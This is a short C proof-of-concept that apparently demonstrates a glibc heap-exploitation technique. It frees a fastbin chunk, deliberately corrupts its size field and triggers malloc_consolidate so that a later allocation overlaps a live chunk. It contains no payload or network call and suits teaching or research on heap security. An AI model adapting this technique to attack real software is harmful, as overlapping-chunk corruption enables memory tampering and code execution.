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#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
typedef size_t INTERNAL_SIZE_T;
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
typedef struct malloc_chunk* mchunkptr;
int main() {
malloc(1);
void *m1 = malloc(0x20);
void *m2 = malloc(0x100);
// allocate another chunk to avoid the top-handling special casing
void *m3 = malloc(0x100);
mchunkptr p1 = (mchunkptr)((char*)m1 - offsetof(struct malloc_chunk, fd));
printf("allocated fastbin-sized (0x%zx) chunk p1: %p\n", p1->size, (void*)m1);
mchunkptr p2 = (mchunkptr)((char*)m2 - offsetof(struct malloc_chunk, fd));
printf("allocated small (0x%zx) chunk p2: %p\n", p2->size, (void*)m2);
printf("freeing p1\n");
free(m1);
printf("emulating corruption of p1\n");
p1->size += p2->size & ~PREV_INUSE;
printf("triggering malloc_consolidate via allocation for large chunk\n");
malloc(0x400);
printf("after consolidation malloc(0x%x) returns %p\n", 0x100, malloc(0x100));
return 0;
}